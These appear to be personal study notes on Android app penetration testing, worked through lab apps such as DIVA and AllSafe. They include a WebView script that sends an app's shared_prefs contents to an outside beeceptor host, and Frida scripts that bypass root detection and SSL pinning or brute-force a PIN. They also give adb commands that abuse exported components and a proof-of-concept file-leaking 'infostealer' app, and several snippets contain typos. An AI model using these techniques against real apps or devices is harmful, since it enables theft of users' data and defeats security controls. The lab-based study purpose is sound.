Android pentesting

apktool > to decompile an apk
jadx-gui > to open the app files in gui in linux
MobSF > automation tool to test apk files for sensitive data exposure.
drozer > automation tool to test apk files for sensitive data exposure with more details.
IDA Pro > tool for reversing files or libraries.
Frida > tool allow you to inject javascript code in the application run-time functions.
in the application files > arm[supports physical devices] , x86 [supports emulators] .
Objection > is an android toolkit provided by frida used to run commands to ease the use of frida scripts in the dynamic analysis phase through models

Activity> user use it as a button for action.

service> android components that run in the background to perform long-running operations or handle tasks that don't require a user interface.

receiver> used for sending actions and messages to multiple components and applications, commonly used for the software to communicate with the apps.

provider> Content Providers are components that supplies data from one application’s database, internal storage and files to others on request.

intents> an object that makes another service or application start a service or take an action. intents are the ways of communication between services and they can carry data.

implicit intents> is when you don’t specify which service or application that should handle this action so The system resolves the intent based on the available components that can fulfill the action (pops up which applications suits best to handle it)

explicit intents> when you specify the exact component (activity, service, or broadcast receiver) that should handle the intent, commonly used for communication between components and services within the same app.

Static Analysis > testing the application source code to understand the application flow and functions.

Dynamic Analysis> Dynamic analysis is done using Frida where you Download Frida-server on the device to communicate with the Frida client you installed on your Host.

ADB > to get shell on the physical device or the emulator to control everything from shell window

`adb shell`

`adb connect ip:port`

`adb shell pm list packages`

`adb shell ps`

`adb shell pidof -s *psname`

`adb logcat --pid$(*psnum)` > to monitor if there's sensitive data exposed.

`adb shell dumpsys window | grep 'mCurrentFocus'` > to know which file the screen be executed.

`adb -d install package_name.apk` > to install app

To know every log in all files use this regex in jadx-gui search `^Log..`

Mitigation for Logs > Don't log sensitive information.

Hardcoding Issues1 > find hardcoded sensitive information like creds as a plain text in the code.

Hardcoding Issues2 > find hardcoded sensitive information in java library in the code, you will need to reverse the java library file 'divajni' , then you will find the hardcoded key in the pseudo code of the library file called 'access'.

InsecureDataStorage1 > application storing data as a plain text in 'shared_prefs' file, you can access this file under the dir `/data/data` , then cd PackageName , cd shared_prefs , cat prefs.xml .

InsecureDataStorage2 > application storing data as a plain text in 'databases' file, you can access this file under the dir `/data/data` , then cd PackageName , cd databases , pull the files with dir link.
`adb pull *dir` , use sqlite3 to open files from tables using queries ,sqlite3 filename, `.tables` , `Select * from table_name` .

InsecureDataStorage3 > application storing data as a plain text in 'temp file', you can access this file under the dir `/data/data` , then cd PackageName , cd tempfile_name , cat temp_file .

InsecureDataStorage4 > application storing data as a plain text in 'sd card' file , `adb shell` , `cd /sdcard` , `ls -la` , `cat filename` .

Mitigation for InsecureDataStorage > using android keystore/keychain for storing creds.

Inputvalidation > you can access file from the device by the input field 'file://data/data/file_name' , as the application has the required permissions to access files from the device.

AccessControl1 > you can see the exported activity through the `intent-filter` in the code to access sensitive information without accessing it from the application like

`APICredientialActivity`

you can do actions from the adb and see the response from the application

```
adb shell am start -a android.intent.action.VIEW "http://example.com"
```

AccessControl2 > if the application asks you for registration to access some functions, you can bypass it by using extras,

```
adb shell am start -a package_name.VIEW_CREDS2 --ez check_pin false
```

now you modified the value of check_pin and access the function you want. [z refer to boolean]

AccessControl3 > if you want to access private data without creds ot PINs , if the data coming from content provider and its exported in the application code, use adb to access the data with the content provider path

```
adb shell content query --uri
content://jakhar.aseem.diva.provider.notesprovider/notes
```

WebView1
webView.getSettings().setAllowUniversalAccessFromFileURLs()true
you can write a script to load a file from the device to your server to access sensitive data.

```
adb shell am start -n com.thm.vulnwebview/.RegistrationWebView --es reg_url
'file:///sdcard/exfil.html'
```

```
<script>
var xhttp = new XMLHttpRequest();
var xhttp2 = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
 if (xhttp.readyState === 4) {
 xhttp2.open('POST', 'https://jjuusstt.free.beeceptor.com');
 xhttp2.setRequestHeader('Content-Type', 'x-www-form-urlencoded');
 xhttp2.send('data = ' + btoa(xhttp.responseText));
 }
}
xhttp.open('GET',
'file://data/data/com.thm.vulnwebview/shared_prefs/MainActivity.xml');
```

```
xhttp.send();
</script>
```

WebView2
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
you can use script from a remote server and load it to execute malicious action

```
adb shell am start -n com.tmh.vulnwebview/.SupportWebView --es support_url
http://server/malicious.html
```

```
<script>
document.write(Android.getUserToken());
alert('Compromised');
</script>
```

before Android 4.2 , we could upload a binary file to write shell commands to get full compromise of the device or the application.

WebView3
RemoteDebugging> WebView.setWebContentsDebuggingEnabled(true);
this permission gives you full view and access to victim screen and write javascript on the application if you opened Chrome DevTools(inspect) to see if the victim opened the application allowed this permission.

BoadcastReceiver > [OnReceive Function in the manifiest]
static receiver> always working once you called it[OnReceive].
dynamic receiver> working while the application running only[EmailBroadcastRecv].

If you found encrypted password in application files, try to trace the code for the encryption function, and write script to decrypt the password.

Misconfiguration in database storage>
search of the database url in the manifest in the [res>values>strings.xml] , search for firebase_database_url , then go to the url and add ./json , if not access denied, its vulnerable.

if the application has right permissions to read device storage , you can use drozer to access files from sdcard with content provider

```
run app.provider.read
```

```
content://com.adobe.reader.fileprovider/../../../../../sdcard/test.txt
```

DeepLinks> These links are usually found on pages within a web application or in the webviews of a mobile application. When the user clicks on a deep link, and has the application to open that type of link, a popup suggests opening the link with the corresponding application. attacker can forge the link and pass it on to his victims via social engineering (the payload simply displays an alert):

Applock> you can check for the lock image in the application shared_prefs file, you will find it encrypted, try to trace the code to find the function to help you in the decryption, use APLBreaker or Android pattern lock and pass the value to it and it will tell you the pattern. you can use kali hunter brute force tool with physical device to brute force locked phone.

the phone patterns stored in gesture.key file.

StrandHoggv1[TaskHijaking[user-interaction]]> you need to look for single-task in the launch mode in the main app in main activity to join your malicious application to the main app. how it works: in the backstack, once you opened the malicious app and exit, then opening the main app and exit , you will enter the malicious app as a stack.
POC: create malicious app with manifest code: launchmode="singleTask" android:excludeFromRecents="true"[to hide from recents] android:taskAffinity="com.mainApp.main"[to join the main app activity]. and the malicious app main code : moveTaskToBack[to end the app when opening it]. then you need to make the malicious app the same design as the main app to phish the victim and steal creds.

StrandHoggv2 > same vulnerability but without user-interaction.

AIDL[Android Interface Definition Language] => interfaces that ease the communication between services and the clients for interprocess communication (IPC), (the interfaces are defined and their functions are implemented in the service then client can just bind the interface from the service and use their functions as if they are built in functions without having to know their implementation) AIDL can be used in both bound and started services. we can abuse this to hook the functions in the code.

Tapjacking> A Tapjacking attack is like a **Clickjacking but for an Android applications**. It is a type of attack where the user is tricked into **clicking something different from what the user perceives they are clicking on**, thus potentially revealing confidential information or taking control of their device while clicking on seemingly innocuous objects.
to detect apps vulnerable to this attacked you should search for **exported activities** in the android manifest (note that an activity with an intent-filter is automatically exported by default). Once you have found the exported activities, **check if they require any permission**. This is

because the **malicious application will need that permission also**.. To mitigate this use filterTouchesWhenObscured="true" flag , or use Android 12 or higher.

Frida

Frida > tool allow you to inject javascript code in the application run-time functions. you can download the physical device version [arm] or emulator version [x86,x64]

frida-ps -Ua >all running applications
frida-ps -Uai> all installed applications

to spawn an application use command

```
frida -U -f com.thm.vulnwebview --no-pause
```

to run frida server

```
adb -d shell
cd /data/local/tmp
./frida_version
```

Ex: simple application running a sum function x+y, we will hook the function to sum the values we want and check it in the logs with adb.

```
Java.perform( function(){
var my_cls = Java.use("com.example.allx256.frida_test.my_activity");
my_cls.fun.implementation = function(x, y){
var ret = this.fun(10,5);
return ret;
}
} );
```

Ex: same application, but we will hook the sum and the string value with overloaded functions and check it in the logs with adb.

```
Java.perform( function(){`
var my_cls = Java.use("com.example.allx256.frida_test.my_activity");
my_cls.fun.implementation = function(x, y){
var ret = this.fun(10,5);
return ret;
```

```
}
my_cls.fun.overload("java.lang.String").implementation = function (x){
var stringCls = java.use("java.lang.String");
var myStr = stringCls.$new("i cAn ho0k overloaded methods!!!")
var ret = this.fun(myStr);
return ret;
}
} );
```

To execute the javascript file using frida.

```
frida -U -l file.js -f com.example.allx26.frida_test --no-pause
```

Javascript code to modify empty function.

```
Java.perform(function(){
function CallSecretFunction(){
Java.choose("com.example.allx256.frida_test.my_activity",{
onMatch: function (instance) {
console.log("found instance: " + instance);
console.log("Result of secret func: " + instance.secret());
},
onComplete: funcction () {   }
});
}
rpc.exports = { callsecretfrompython : CallSecretFunction};
});
```

To control calling the function in the application, we will use python code.

```
import frida, time
device = frida.get_usb_device()
pid = device.spawn(["com.example.allx256.frida_test"])
device.resume(pid)
time.sleep(5)
session = device.attach(pid)
script = session.create_script(open("hook.js").read())
script.load()
while True:
```

```
cmd = str(input("1: CallSecretFunction\n2. Exit\n -->"))
if cmd == "1":
     script.exports.callsecretfrompython()
elif cmd == "2":
break
```

Root Detection

Magisk => the old way to root your android phone
Zygisk => the new way to root your android phone
unlock the bootloader and attach the magisk to the firmware.
in the old way it was checking /system path or su command or writing in empty path or it contains test-keys in the kernel for root detection.
if the device not rooted it will use realse-keys for the kernel.

if the application checking for root with multiple conditions and verify encrypted cipher in the input. we can write script to bypass it.

```
Java.perform(function(){
var rootCls = Java.use("sg.vantagepoint.a.c");
rootCls.a.implemetation = function(){
console.log("[+] Check A Bypassed");
return false;
}
rootCls.b.implemetation = function(){
console.log("[+] Check B Bypassed");
return false;
}
rootCls.c.implemetation = function(){
console.log("[+] Check C Bypassed");
return false;
}
var enCls = Java.use("sg.vantagepoint.a.a");
enCls.a.implementation = function(IV, Ct){
var bArr = this.a(IT, Ct);
var SecretStr = "";
for(var i=0; i < bArr.length; i++){
SecretStr += String.fromCharCode(bArr[i]);
}
console.log("Correct Secret: "+ SecretStr);
return bArr;
```

```
}
});
```

you can use codeShare website to find frida scripts to bypass Root Detection and SSL Pinning.

```
frida -U --codeshare dzonerzy/fridantiroot -f package_name --no-pause
```

you can use Magisk to bypass Root Detection by bypassing SafetyNet [Api on all application installed from Google Play through cts testing suit profile].
to check if the device can bypass safetynet, you can check the settings from google play[About - Play Protect certification [Device is certified] then you bypassed].

you can change the Magisk app name so it can't be detected as root.
you can enable zygisk and the deny list and mark [the target app] to be not detected.

making the device root give you more permissions on apps [full control - access data storage - execute frida scripts for analysis and debugging - pentest the app in better way].

SecureFlag => deny you from taking screenshots or share screen for the app. you can use frida scripts to bypass it.

SSL Pinning

SSL Pinning deny you from intercepting the application. you need to use frida scripts for bypass.

if the browser running with http , its ok to intercept the traffic.
if the browser running with https, you need to install the burp certificate, but change the extension from der to cer or crt .
hit to phone settings and search for 'certificates' , then install certificates.

1- network_security_config[NSC] => file contains the trusted certificates developer provided.
to intercept the application running https , you need to modify the trusted cert in network_security_config.xml file in xml in res in the application code.
you need to patch the nsc file to trust the user certs not system only.
you need to check in the AndroidManifest.xml for android:networkSecurityConfig that mention xml/network_security_config file.
Once you modified the code, you need to build the app again, use apktool for that.

```
apktool b indeed/ -o indeed_patched.apk
```

use uber-apk-signer to sign apk release certificate to build the app.
to sign the app, download the jar release with curl /link,

```
java -jar /jar_name --apks indeed_patched.apk --out indeed_signed.apk
cd indeed_signed.apk
adb install indeed_patched_aligned-debugSigned.apk
```

2- you can abuse the Trust Manager to trust your certificate[burp] using frida scripts.
using multiple-unpinner frida script.

you can't spawn application using frida while zygisk running, cuz zygisk using ptrace function to trigger all the calls and bypassing root detection.
to solve this problem, you will attach a file include shell monkey process to spawn the app to execute the frida script but it must run before the Trust Manager initialize.

```
#!/bin/bash
run_proc=$(adb -d shell monkey -p paymob.bdc.qahera 1)
PID=$(adb -d shell ps | grep -i 'package_name' | awk '{printf $2}')
echo "Attaching to process.."
frida -U -l $1 -p $PID
```

execute the file attaching the script.

```
./run.sh multiple-unpinner.sh
```

this scenario happens when you try to abuse root detection and ssl pinning together.

To intercept the traffic, you need to change the proxy settings from the physical device or emulator to the burp suite.

3- Downgrading the App to target Android 6.0 > In android 6.0 the APPS used to trust any certificate in the user’s Trusted Cert’s so down grading the APK to support Android 6.0 Makes the APK trust your certificate.

```
<manifest xmlns:android="https://schemas.android.com/apk/res/android"
package="com.test.app" platformBuildVersionCode="25"
platformBuildVersionName="7.1.1">
```

After altering

```
<manifest xmlns:android="https://schemas.android.com/apk/res/android"
package="com.test.app" platformBuildVersionCode="23"
platformBuildVersionName="6.0">
```

4- Using medusa / objection modules > you can use http_communications/universal_SSL_pinning_bypass module for bypass.

AllSafe vulnerable app

- You can find exposure data in the logcat with adb.
- You can find hardcoded creds or online db link in [res-values-strings.xml] file
- You can use medusa to execute frida scripts and spawn on the app in the runtime. `run -f package_name` , `use module_name`
- To bypass pin input, you need to hook the activity that check the pin to set the condition to 'true' with a simple script, and u can add simple for loop to check the true pin!

```
Java.perform(function(){
var PinCls = Java.use("package_name.class_name");
PinCls.checkPin.implementation = function(x) {
for(var i = 0 i<= 9999; i++){
var isValid = this.checkPin(String(1).padStart(4,0));
if (isValid){
console.log("[+] Correct Pin is: " + 1);
}}
return true;
}
});
```

```
- then execute the script with frida
```

```
frida -U -l hook.js -p process_num --no-pause
```

- you can search for deeplinks in the manifest like android:scheme , try to do action to load the deeplink

```
adb -d shell am start -a android.intent.action.VIEW -d
"allsafe://infosecadventures/congrats?key=$"
```

- you can search for broadcast receivers in the manifest like receiver , try to abuse it to send malicious data to the victim. you can do this direct if it's exported=true.

```
adb shell am broadcast -a infosecadventures.allsafe.action.PROCESS_NOTE --es server "10.10.10.10" --es note 'Hello' --es notification_message 'AndroidPT' -n infosecadventures.allsafe/.challenges_NoteReceiver
```

- You can use medusa Universal pinning to detect all the techniques for ssl pinning on the app.
- For the encryption methods, you can use cipher module in medusa to trigger the encryption operation.
- if the app run audio recording service in the manifest 'service' exported=true just running task in the background, and it save the records in the sdcard. if a malicious app installed and have permissions, it can ask the app to record the victim and load the files to a remote server.

```
adb shell am startservice infosecadventures.allsafe/.challenges.RecorderService
```

- application stores the external files in the sdcard .. /sdcard/Android/data/
- if the application stores the objects in java serialization. you need to modify the stored file, then push the edited file again.
  first load the file from the sdcard, then modify the file with HxD editor, then push the file again.

```
adb shell "su -c cat /sdcard/Android/data/infosecadventures.allsafe/files/user.dat" > user.dat
```

after modifying the file, push it again

```
adb push user.dat /sdcard/Android/data/infosecadventures.allsafe/files/
```

- you can check if the app contains content provider through 'provider' , if you found a file provider with exported=false, you can check for ProxyProvider file with grantedUriPermissions, you need to write a POC simple app stealer to know the hidden file in the app. you need to write an intent[leaker] with flag for uri permissions to execute on the proxyprovider, then the permissions will be done on the file provider. Mitigation for this is to pass the extras only not the whole intent.

MainActivity POC

```java
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import android.view.View;
import androidx.navigation.ui.AppBarConfiguration;
import com.example.infostealer.databinding.ActivityMainBinding;


3 usages
public class MainActivity extends AppCompatActivity {

    private AppBarConfiguration appBarConfiguration;
    private ActivityMainBinding binding;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }

    1 usage
    public void onClick(View view) {
        Intent extra = new Intent();
        extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
        extra.setClassName(getPackageName(), className: "com.example.infostealer.Leaker");
        extra.setData(Uri.parse( uriString: "content://infosecadventures.allsafe.fileprovider/files/docs/readme.txt"));

        Intent intent = new Intent();
        intent.setComponent(new ComponentName( pkg: "infosecadventures.allsafe",  cls: "infosecadventures.allsafe.ProxyActivity"));
        intent.putExtra( name: "extra_intent", extra);
        startActivity(intent);
    }
}
```

Leaker POC

```java
package com.example.infostealer;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import org.apache.commons.io.IOUtils;

import java.io.IOException;

2 usages
public class Leaker extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_leaker);

        try {
            Log.d( tag: "Leaked File", IOUtils.toString( getContentResolver().openInputStream(getIntent().getData())) );
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}
```

- Remote code execution , you can get rce through function in the code loading from third party application. just make a POC simple app with same package, class and method

name. Mitigation for this is to sign the calling app with key by the developer, can't trust any app!

- To know the function using native library, you'll find before the function name 'native', you need to hook function saved in native library using frida.
  first you need to spawn the app with frida and search for the native library, after spawn the app, then use enumexportssync for more info about the lib, then you need to know the address of the function in the code by the function name in the reverse app. then save it in variable. then intercept the address with frida interceptor to hook the function.

```
Process.enumerateModulesSync()

Module.enumerateExportsSync('lib_name')

Module.getExportByName('Libnative_library.so',
'Java_infosecadventures_allsafe_challenges_NativeLibrary_checkpassword')

var Jni = Module.getExportByName('Libnative_library.so',
'Java_infosecadventures_allsafe_challenges_NativeLibrary_checkpassword')

Interceptor.attach(Jni, {onEnter: function(args){}, onLeave: function(args){
args.replace(1)} });
```

- In smali code, you can change in the application code in an easy way, just put the app on ApkLab, in our challenge, we need to change the if equal to not equal != , so we change

that on smali like eqz to nez , after changing the code , rebuild the app from apktool.yml , right click and Rebuild the APK. Patch the app and open again!

Notes

- You can know that the app using flutter by the 'io' file.
- You can know that the app using xamarin by the 'xamarin.android.net' file.
- To reverse .dll files use DnSpy tool.
- To decompress Xamarin file use Xamarin_XALZ_decommperss.py script then pass the new file to DnSpy tool to reverse the code, then you can read the code and make analysis.
- You can bypass secure flag by using frida script for bypassing android FLAG_SECURE on github.
- you can download APKs through Apk downloader extenstion on chrome.
- Flutter apps use specific certificate store that blocks proxies for interception. you can use the manual process to patch the flutter lib.so to patch specific address in the reverse code. or use reflutter tool that patch the app and hardcode proxy with ip and port then give u the apk. you need to change the port in burpsuite to 8083 and support invisible proxying in Request handling.

```
python3.9 /usr/local/bin/reflutter Hookle.apk

//sign the app
java -jar uber-apk-signer-1.2.1.jar --apks release.RE.apk --out Hookle_signed
//install the app
adb -d install release.RE-aligned-debugSigned.apk
```

- MobSF automation tool to help you in pentesting. you need to be in the tool dir, then run MobSF server by this command, from your browser insert `YourIP:8000`, MobSF website, drag and drop the vulnerable apk to the tool.

```
./run.sh 0.0.0.0:8000
```

- Look for `android:allowBackup="true"` as this allows an attacker to take a backup or steal confidential data
- look for `android:debuggable="true"` as this allows an attacker to debug the application and expose internal architecture

Important Resources

https://blog.oversecured.com/
https://source.android.com/docs/core/runtime/dalvik-bytecode
https://www.horangi.com/blog/a-pentesting-guide-to-intercepting-traffic-from-flutter-apps
https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/tapjacking
https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation
https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/react-native-application
RuntimeApplicationSelfProtection[RASPS]